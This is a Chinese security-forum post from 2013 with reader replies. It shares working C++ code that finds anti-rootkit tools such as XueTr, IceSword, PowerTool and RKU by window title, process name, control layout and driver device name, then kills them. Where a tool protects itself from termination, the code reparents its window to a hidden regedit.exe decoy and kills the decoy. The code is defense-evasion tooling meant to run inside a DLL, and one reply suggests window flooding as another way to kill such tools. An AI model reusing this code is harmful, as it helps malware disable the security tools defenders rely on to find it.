首页
社区
课程
招聘
[原创]应用层结束Anti RootKit
发表于: 2013-9-17 17:18 11752

[原创]应用层结束Anti RootKit

2013-9-17 17:18
11752
发个Ring3检测并结束ARK的代码 。检测时匹配ARK多处特征。结束时由于有些ARK HOOK了结束进程的API,对自身进行保护,所以使用SetWindowLong设置ARK的父窗口为傀儡进程,结束傀儡进程也就把ARK进程结束掉了。

#include "StdAfx.h"

BOOL m_bEnum=FALSE;
extern HANDLE m_hDoStopEvent,m_hARKStopedEvent;

typedef struct _CONTROLINFO{ 
    BOOL bFinded; 
	HWND hWnd;    
} CONTROLINFO, *PCONTROLINFO;

void ProcessIdToName(DWORD PID,char szProcessName[MAX_PATH])
{ 
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof(PROCESSENTRY32);
	if (!Process32First(hSnapshot, &pe)) {
		strcpy(szProcessName,"错误!");
	}
	else
	{
		if (pe.th32ProcessID == PID) {
			strcpy(szProcessName,pe.szExeFile);
		}
	}
	while (Process32Next(hSnapshot, &pe)) {
		if (pe.th32ProcessID == PID) {
			strcpy(szProcessName,pe.szExeFile);
		}
	}
	
	if (strlen(szProcessName)==0)
		strcpy(szProcessName,"查找的进程不存在!");
	
    CloseHandle(hSnapshot);
}

BOOL CALLBACK enumChilds(HWND hWnd , LPARAM lParam)
{
	char  szClassbuf[256] = {0}; 
	CONTROLINFO *controlInfo=(CONTROLINFO *)lParam;

	::GetClassName(hWnd,szClassbuf,sizeof(szClassbuf));
	if (!strcmp(szClassbuf,"SysListView32")
		||!strcmp(szClassbuf,"TListView"))
	{
		controlInfo->bFinded=TRUE;
		controlInfo->hWnd=hWnd;
		return FALSE;
	}
	return TRUE;
}

BOOL IsSuspiciousWinTitle(char *szCaption)
{
	int nLen=0;

	if ((nLen=strlen(szCaption))<6) //随机窗口名的字符数不小于6
		return FALSE;

	for (int i=0;i<nLen;i++)
	{
		if ((szCaption[i]>=0x30 && szCaption[i]>=0x39)
			||(szCaption[i]>=0x41 && szCaption[i]>=0x5A)
			||(szCaption[i]>=0x61 && szCaption[i]>=0x7A))
		{
		}
		else
			return FALSE;
	}
	return TRUE;
}

BOOL FindProcess(DWORD dwProcessId)
{
	//要查找进程所用到的句柄
	HANDLE m_hfindhandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	PROCESSENTRY32* info= new PROCESSENTRY32;
	info->dwSize = sizeof(PROCESSENTRY32);
	
	if (Process32First(m_hfindhandle, info))
	{
		while(Process32Next(m_hfindhandle, info))
		{
			if (info->th32ProcessID==dwProcessId)
				return TRUE;
		}
	}
	
	return FALSE;
}

BOOL KillARK(HWND hFocus)
{
	HWND hwndDummy=NULL;
	DWORD dwNum=20,dwARKProcessId=0;
	HANDLE hDummy=INVALID_HANDLE_VALUE,hARK=NULL;
	char m_szSysPath[MAX_PATH] ={0};
	
	STARTUPINFO	 si = {0};
	si.cb = sizeof(si);   
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	//si.wShowWindow = SW_SHOW;
	PROCESS_INFORMATION  pi = {0};
	
	//先使用正常方式结束进程,不能结束再用SetParent方式
	GetWindowThreadProcessId(hFocus,&dwARKProcessId);
	if (hARK=OpenProcess(PROCESS_ALL_ACCESS, TRUE, dwARKProcessId))
	{
		TerminateProcess(hARK,0);
		Sleep(500);
		if(!FindProcess(dwARKProcessId))
			return TRUE;
	}
	
	::GetWindowsDirectory(m_szSysPath,MAX_PATH);
	strcat(m_szSysPath,"\\regedit.exe");
	
	CreateProcess(NULL,m_szSysPath,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);
	
	while(!hwndDummy&&dwNum--)
	{
		hwndDummy= FindWindow(NULL,"注册表编辑器");
		Sleep(100);
	}
	if (hwndDummy)
	{
		::SetParent(hFocus,hwndDummy);
		SetWindowLong(hFocus, GWL_EXSTYLE, WS_EX_MDICHILD);
		
		if (hDummy=OpenProcess(PROCESS_ALL_ACCESS, TRUE, pi.dwProcessId))
			TerminateProcess(hDummy,0); //关闭dummy进程,ARK也就关闭了
		CloseHandle(pi.hProcess);   
		CloseHandle(pi.hThread);
		CloseHandle(hFocus);
		return TRUE;
	}
	return FALSE;
}

BOOL DeleteProcessNamePostfix(IN char *szProcessName,OUT char *szResult)
{
	char *szPostfix= strrchr(szProcessName,'.');
	if (szPostfix)
	{
		strncpy(szResult,szProcessName,min(szPostfix-szProcessName,MAX_PATH));
		return TRUE;
	}
	return FALSE;
}

unsigned WINAPI CheckARK(LPVOID pArgu)
{
	HWND hFocus=NULL;
	HANDLE m_hDevice=INVALID_HANDLE_VALUE;
	DWORD dwErr=0,dwNum=20,dwControlArea=0,dwWindowArea=0,dwProcessId=0,dwResult=0;
	char szCaption[MAX_PATH]={0},m_szSysPath[MAX_PATH]={0},szProcessName[MAX_PATH]={0},
		szPureName[MAX_PATH]={0},szDeviceName[MAX_PATH]={0};
	BOOL bSuccess=FALSE;
	RECT rectControl={0},rectWindow={0};
	POINT pointWindow={0};
	CONTROLINFO controlInfo={0};
	
	while(TRUE)
	{
		try //在关闭ARK过程中也许会由于ARK的反应导致错误,不能让dll崩溃
		{
			dwResult =WaitForSingleObject(m_hDoStopEvent,100);
			if(dwResult == WAIT_ABANDONED || dwResult == WAIT_OBJECT_0)
				break;
			
			memset(&controlInfo,0,sizeof controlInfo);
			memset(&szProcessName,0,sizeof szProcessName);
			dwProcessId=0;
			
			hFocus= GetForegroundWindow();
			if (IsIconic(hFocus)) //若窗口最小化状态时,被激活,则不处理
				continue;
			//判断当前窗口进程是否为explorer.exe,是则返回,否则关闭掉了桌面
			GetWindowThreadProcessId(hFocus,&dwProcessId); //这个API最终调用NtUserQueryWindow
			ProcessIdToName(dwProcessId,szProcessName);
			if(!stricmp(szProcessName,"explorer.exe"))
				continue;
			//后面判断是否为保护的进程,是则不判断
			
			//第一项检测: 窗体标题
			GetWindowText(hFocus,szCaption,MAX_PATH);
			if (StrStrI(szCaption,"XueTr") || StrStrI(szCaption,"PowerTool") 
				||StrStrI(szCaption,"狙剑")||StrStrI(szCaption,"SysReveal")
				||StrStrI(szCaption,"天琊")||StrStrI(szCaption,"IceSword"))
			{
				KillARK(hFocus);
				continue;
			}
			
			//第二项检测: 进程名
			if (!stricmp(szProcessName,"XueTr.exe") || !stricmp(szProcessName,"PowerTool.exe") 
				||!stricmp(szProcessName,"SnipeSword.exe")||!stricmp(szProcessName,"SysReveal.exe")
				||!stricmp(szProcessName,"SuperKill.exe")||!stricmp(szProcessName,"IceSword.exe")
				||!stricmp(szProcessName,"RKU.exe")||!stricmp(szProcessName,"Wsyscheck.exe"))
			{
				KillARK(hFocus);
				continue;
			}

			
			//第三项检测: 控件特征码
			//不能依据EnumChildWindows的返回值判断是否枚举成功
			bSuccess= EnumChildWindows(hFocus, enumChilds, (LPARAM)&controlInfo);
			if (!controlInfo.bFinded)
				continue;
			
			//判断特征控件大小是否为整个窗体的1/2
			GetWindowRect(hFocus,&rectWindow);
			GetWindowRect(controlInfo.hWnd,&rectControl);
			dwControlArea=(rectControl.bottom- rectControl.top)*
				(rectControl.right- rectControl.left);
			dwWindowArea=(rectWindow.bottom- rectWindow.top)*
				(rectWindow.right- rectWindow.left);
			if (dwWindowArea>dwControlArea*2)
				continue;
			
			//GetWindowPlacement(hFocus)
			//使用ARK被屏蔽的API测试是否ARK存在
			pointWindow.x=rectControl.left +(rectControl.right-rectControl.left)/2;
			pointWindow.y=rectControl.top +(rectControl.bottom-rectControl.top)/2;
			if (!WindowFromPoint(pointWindow) //这个函数不能调用成功,肯定有嫌疑
				||IsSuspiciousWinTitle(szCaption)) //是随机数的标题,又含特征控件,判断为ARK
			{
				KillARK(hFocus);
				continue;
			}

			//第四项检测: 进程和设备驱动名是否一样(XueTr就可以配置成这样)
			if (DeleteProcessNamePostfix(szProcessName,szPureName))
			{
				strcpy(szDeviceName,"\\\\.\\\\");
				strncat(szDeviceName,szPureName,min(strlen(szPureName),MAX_PATH-5));
				m_hDevice= CreateFile(szDeviceName,GENERIC_READ,FILE_SHARE_READ,NULL,
					OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
				if (m_hDevice !=INVALID_HANDLE_VALUE)
				{
					KillARK(hFocus);
					CloseHandle(m_hDevice);
					continue;
				}
				CloseHandle(m_hDevice);
			}
		}
		catch (...)
		{
		}
	}//while

	SetEvent(m_hARKStopedEvent);
	return 0;
}

VOID Start()
{
	UINT nThreadID=0;
	HANDLE hWorker= (HANDLE)_beginthreadex(NULL,0,CheckARK,
		(void *)NULL,0,&nThreadID);
	if (hWorker == NULL )
	{
		SAFE_CLOSE_HANDLE(hWorker);
		return;
	}
}

[课程]Linux pwn 探索篇!

收藏
免费 5
支持
分享
最新回复 (19)
雪    币: 248
活跃值: (3789)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
占个沙发慢慢看
2013-9-17 18:35
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark,以后看
2013-9-17 18:47
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
万一父窗口为explorer或者winlogin,wininit,system之类的怎么办
2013-9-17 20:38
0
雪    币: 6394
活跃值: (2207)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
5

万一父窗口为explorer或者winlogin,wininit,system之类的怎么办

可以自己启动一个傀儡进程比如regedit.exe,然后父窗口设置为这个进程就行了。
2013-9-17 20:41
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
6
不错,今天拜读楼主2篇很新颖的原创,很受益。
2013-9-17 21:23
0
雪    币: 114
活跃值: (180)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
mark,收藏,谢谢楼主分享。
2013-9-17 23:02
0
雪    币: 1392
活跃值: (4862)
能力值: ( LV13,RANK:240 )
在线值:
发帖
回帖
粉丝
8
SetParent以后。结束他的爹 ARK 也就结束了??
2013-9-17 23:39
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
9
SetParent,好悠久的API。

也就只能娱乐娱乐结束一下ARK,安全软件即不让你找窗口也不让你拿到句柄。。
2013-9-18 00:02
0
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
mark  收藏看
2013-9-18 00:23
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
SetParent
的确很老了,意义不大了
2013-9-18 08:18
0
雪    币: 207
活跃值: (26)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
大米兄这几天比较活跃哦
2013-9-18 09:10
0
雪    币: 306
活跃值: (85)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
13
学习了,1024
2013-9-18 09:30
0
雪    币: 9560
活跃值: (2391)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
楼主的文章的确不错,有创意,写的详细,面面俱到,MARK慢慢看。
2013-9-18 12:54
0
雪    币: 347
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
不错~感谢分享
2013-9-18 13:16
0
雪    币: 107
活跃值: (326)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
学习..谢谢分享............
2013-9-18 14:17
0
雪    币: 6
活跃值: (1099)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
确实可以
2013-9-18 17:21
0
雪    币: 261
活跃值: (537)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
18
好思路....直接发送窗体销毁消息进程不知道能不能存在
2013-9-19 23:18
0
雪    币: 65
活跃值: (112)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
19
openprocess都会失败了……后续的更是无从谈起了……无意义
2013-9-20 16:00
0
雪    币: 461
活跃值: (65)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
20
直接窗口洪水攻击也可以结束掉。
2013-9-21 10:52
0
游客
登录 | 注册 方可回帖
返回
//